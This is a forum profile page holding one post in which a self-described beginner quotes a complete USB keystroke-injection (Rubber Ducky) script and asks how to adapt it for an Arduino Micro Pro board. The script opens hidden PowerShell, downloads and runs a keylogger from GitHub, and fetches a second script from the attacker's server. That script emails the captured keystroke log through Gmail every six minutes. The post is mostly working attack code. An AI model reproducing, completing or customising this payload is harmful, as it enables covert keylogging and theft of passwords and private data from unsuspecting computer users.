Jump to content

khalilzerei999

Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by khalilzerei999

  1. On 3/8/2017 at 6:57 AM, Speed09 said:

    I'm not good at powershell at all, but I managed to get the exfiltrate working.

    I simply modified the payload to run a ps script from my server that will send me the log file via email.

    Here is the final ducky script:

     DELAY 2000
    GUI r
    DELAY 500
    STRING powershell -WindowStyle hidden
    ENTER
    DELAY 1500
    STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')
    ENTER
    DELAY 400
    STRING Get-Keystrokes -LogPath $env:temp\key.txt
    ENTER
    DELAY 200
    GUI r
    DELAY 300
    STRING powershell -WindowStyle hidden IEX (New-Object Net.WebClient).DownloadString('http://yourserver/mail.ps1')
    ENTER

     

    And here is the mail.ps1 content:

    $SMTPServer = 'smtp.gmail.com'
    $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
    $SMTPInfo.EnableSsl = $true
    $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youradress@gmail.com', 'yourpass')
    $ReportEmail = New-Object System.Net.Mail.MailMessage
    $ReportEmail.From = 'youradress@gmail.com'
    $ReportEmail.To.Add('youradress@gmail.com')
    $ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
    while(1){$ReportEmail.Attachments.Add("$ENV:temp\key.txt");$SMTPInfo.Send($ReportEmail);sleep 360} 

    hi im a beginner and i use a micro pro arduino board as a rubber ducky

    what should i change from this script as personal information??

    please i need help

     

     

×
×
  • Create New...